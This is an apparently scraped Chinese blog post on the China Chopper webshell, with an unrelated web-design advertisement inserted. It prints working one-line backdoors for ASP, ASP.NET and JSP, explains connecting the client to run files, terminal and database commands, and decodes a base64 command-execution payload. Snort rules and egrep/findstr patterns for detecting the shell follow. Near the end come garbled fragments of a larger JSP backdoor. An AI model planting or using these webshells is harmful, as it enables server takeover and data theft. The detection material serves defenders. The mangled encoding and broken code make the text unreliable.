相信大多數(shù)的站長都用FTP來管理web空間,但是相對于菜刀來說FTP簡直弱到爆.就數(shù)據(jù)庫管理方面來說,phpmyadmin和帝國軟件只能管理MySQL數(shù)據(jù)庫,而且在軟件的體積上跟菜刀完全沒法比,如果精通SQL語法,何必還要PHPMYADMIN呢?而且中國菜刀以其特×××形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS,支持ADO方式連接的數(shù)據(jù)庫。
創(chuàng)新互聯(lián)專注為客戶提供全方位的互聯(lián)網(wǎng)綜合服務(wù),包含不限于做網(wǎng)站、網(wǎng)站建設(shè)、東興網(wǎng)絡(luò)推廣、小程序制作、東興網(wǎng)絡(luò)營銷、東興企業(yè)策劃、東興品牌公關(guān)、搜索引擎seo、人物專訪、企業(yè)宣傳片、企業(yè)代運營等,從售前售中售后,我們都將竭誠為您服務(wù),您的肯定,是我們最大的嘉獎;創(chuàng)新互聯(lián)為所有大學(xué)生創(chuàng)業(yè)者提供東興建站搭建服務(wù),24小時服務(wù)熱線:18980820575,官方網(wǎng)址:www.cdcxhl.com
服務(wù)端:
在服務(wù)端運行的代碼如下:
PHP:
ASP: <%eval request(“pass”)%>
ASP.NET: <%@ Page Language=”Jscript”%><%eval(Request.Item["pass"],”unsafe”);%>
JSP:<%if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath(“\”)+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes());%>
(注意: ASP.NET要單獨一個文件或此文件也是Jscript語言)
叉叉之前在上傳漏洞演示,利用burpsuite抓包改包上傳最后講到用菜刀連接,看看是怎么實現(xiàn)的:
在主視圖中右鍵/添加,在彈出的對話框中輸入服務(wù)端地址,連接的密碼(這個必須要),選擇正確的腳本類型和語言編碼,保存后即可使用文件管理,虛擬終端,數(shù)據(jù)庫管理三大塊功能。要是其它都沒錯誤,那么可能就是你把語言編碼選錯了.
1. 文件管理:緩存下載目錄,并支持離線查看緩存目錄,上傳下載修改文件
2. 虛擬終端:人性化的設(shè)計,操作方便;(輸入HELP查看更多用法)
3. 數(shù)據(jù)庫管理:圖形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS支持ADO方式連接的數(shù)據(jù)庫。
(各種腳本條件下的數(shù)據(jù)庫連接方法請點擊數(shù)據(jù)庫管理界面左上角處的配置按鈕查看)
PHP腳本:
類型 類型可為MYSQL,MSSQL,ORACLE,INFOMIX中的一種
主機地址 主機地址可為機器名或IP地址,如localhost
數(shù)據(jù)庫用戶 連接數(shù)據(jù)庫的用戶名,如root
數(shù)據(jù)庫密碼
連接數(shù)據(jù)庫的密碼,如123455
ASP和ASP.NET腳本:
類型 類型只能填A(yù)DO
ADO配置信息
ADO連接各種數(shù)據(jù)庫的方式不一樣。如MSSQL的配置信息為
Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=123456
4. 網(wǎng)站蜘蛛功能:織出一張網(wǎng)站的目錄結(jié)構(gòu)。下載的列表文件存在桌面,右鍵菜單/載入URL列表即可以根據(jù)地址得到目錄結(jié)構(gòu)
中國菜刀上傳的機制:
通過WebDAV文件上傳
通過JBoss jmx-console 或者Apache的Tomcat管理頁面上傳
遠程代碼執(zhí)行下載
通過其他方式接入后傳輸
其***payload的編碼如下:
Password=Response.Write("->|");
var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).GetString(System. Convert.FromBase64String("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0luZyhSZXF1ZXN0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0luZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZShvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D")),"unsafe");}catch(err){Response.Write("ERROR:// "%2Berr.message);}Response.Write("|<-");Response.End();&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d75px9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D
使用Fiddler的text wizard功能將其base64解碼為明文varc=newSystem.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding(65001).
GetString(System.Convert.FromBase64String(Request.Item["z1"])));
vare=newSystem.Diagnostics.Process();
varout:System.IO.StreamReader,EI:System.IO.StreamReader;
c.UseShellExecute=false;
c.RedirectStandardOutput=true;c.RedirectStandardError=true;
e.StartInfo=c;c.Arguments="/c"+System.Text.Encoding.GetEncoding(65001).
GetString(System.Convert.FromBase64String(Request.Item["z2"]));
e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();
Response.Write(out.ReadToEnd()+EI.ReadToEnd());
上面這段代碼的意思是使用base64解碼存儲在z1、z2這兩個參數(shù)中的數(shù)據(jù)。接下來我們來查看z1與z2對應(yīng)的值。
&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d75px9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D
base64解碼參數(shù)對應(yīng)的值,如下所示:
z1=cmdz2=cd /d "c:\inetpub\wwwroot\"&whoami&echo [S]&cd&echo [E]
其中z1的值是cmd,z2的值是cd /d “c:\inetpub\wwwroot\”&whoami&echo [S]&cd&echo [E]。該操作的意思就是執(zhí)行cmd命令,列出當(dāng)前用戶與當(dāng)前目錄,執(zhí)行結(jié)果如下所示:
->|nt authority\network service[S]C:\Inetpub\wwwroot[E]|<-
now,我們知道中國菜刀的流量通信的特征,可以利用網(wǎng)絡(luò)或主機級別的防護軟件檢測這種惡意通信。
網(wǎng)絡(luò):
可以利用Snort編寫規(guī)則檢測中國菜刀的流量,能夠輕松的捕獲到異常數(shù)據(jù),Keith Tyler在他的博客中給出了一個基本的IDS規(guī)則:
alert tcp any any -> any 80 ( sid:900001; content:"base64_decode";http_client_body;flow:to_server,established; content:"POST"; nocase;http_method; ;msg:"Webshell Detected Apache";)
為了減少誤報,我們將該段規(guī)則修改了下,只檢測數(shù)據(jù)包內(nèi)容中包含F(xiàn)romBase64String以及z1,如下:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS
(msg: "China Chopper with first Command Detected";
flow:to_server,established; content: "FromBase64String";
content: "z1"; content:"POST"; nocase;http_method;
reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/
breaking-down-the-china-chopper-web-shell-part-i.html;
classtype:web-application-attack; sid: 900000101;)
以下規(guī)則更進一步優(yōu)化,以下規(guī)則在數(shù)據(jù)包中查找FromBase64String,并且利用正則表達式匹配z后面任意一到三的數(shù)字組合,如Z1、Z10、Z100等。
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS
(msg: "China Chopper with all Commands Detected"; flow:to_server,established;
content: "FromBase64String"; content: "z"; pcre: "/Z\d{1,3}/i"; content:"POST"; nocase;http_method;
reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/
breaking-down-the-china-chopper-web-shell-part-i.html;
classtype:web-application-attack; sid: 900000102;)
這些IDS特征都可以進一步優(yōu)化,OK,我們了解了網(wǎng)絡(luò)層面如何檢測中國菜刀數(shù)據(jù)包,接下來介紹下如何通過主機級別的檢測發(fā)現(xiàn)該數(shù)據(jù)包。
主機:
在Linux上最快最簡單的方法查找中國菜刀,可以利用egrep+正則表達式識別被感染的文件,如下:
egrep -re ' [<][?]php\s\@eval[(]\$_POST\[.+\][)];[?][>]' *.php
egrep+正則表達式是一個強大的組合,國外安全研究者Ian Ahl編寫了一些正則表達式教程,如下:
regex basics
Using regex with Notepad
另外,Window提供了一種方法,通過findstr命令加上正則表達式搜索文件。如下:
可以看到在Windows上正則表達式與linux略有區(qū)別,如下:
findstr /R "[<][?]php.\@eval[(]\$_POST.*[)];[?][>]" *.php
以上命令是查找PHP shell,如果要查找ASPX shell,只需修改正則表達式即可,如下:
egrep -re '[<]\%\@\sPage\sLanguage=.Jscript.\%[>][<]\%eval.Request\.Item.+unsafe' *.aspx
findstr /R "[<]\%\@.Page.Language=.Jscript.\%[>][<]\%eval.Request\.Item.*unsafe" *.aspx
如果你要查找一些隱藏的PHP或ASPX文件,可以使用dir命令來,如下:
dir /S /A /B *.php
Findstr還可以搜索子目錄:
findstr /R /S "[<][?]php.\@eval[(]\$_POST.*[)];[?][>]" *.php
記錄一下JSP幾種后門
以下是服務(wù)端,保存成one.jsp并上傳至目標服務(wù)器中。
通過使用一句話***客戶端連接one.jsp***。
將下列代碼保存為html頁面:
JSP一句話***客戶端
專用JSP***連接器
服務(wù)端地址
保存完成后,打開html頁面,寫入一句話***服務(wù)端地址, 例如http://shenwolf.wap.zhanqunabc.cn/,寫入需要的代碼和保存的文件名稱點擊保存即服務(wù)器,使用中國菜刀工具進行連File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s+"t");if(!s.substring(0,1).equals("/")){AA(sb);}}else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));while((l=br.readLine())!=null){sb.append(l+"rn");}br.close();}else OutputStreamWriter(new {KK(z1,z2);sb.append("1");}else
if(Z.equals("L")){LL(z1,z2);sb.append("1");}else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb);}}catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"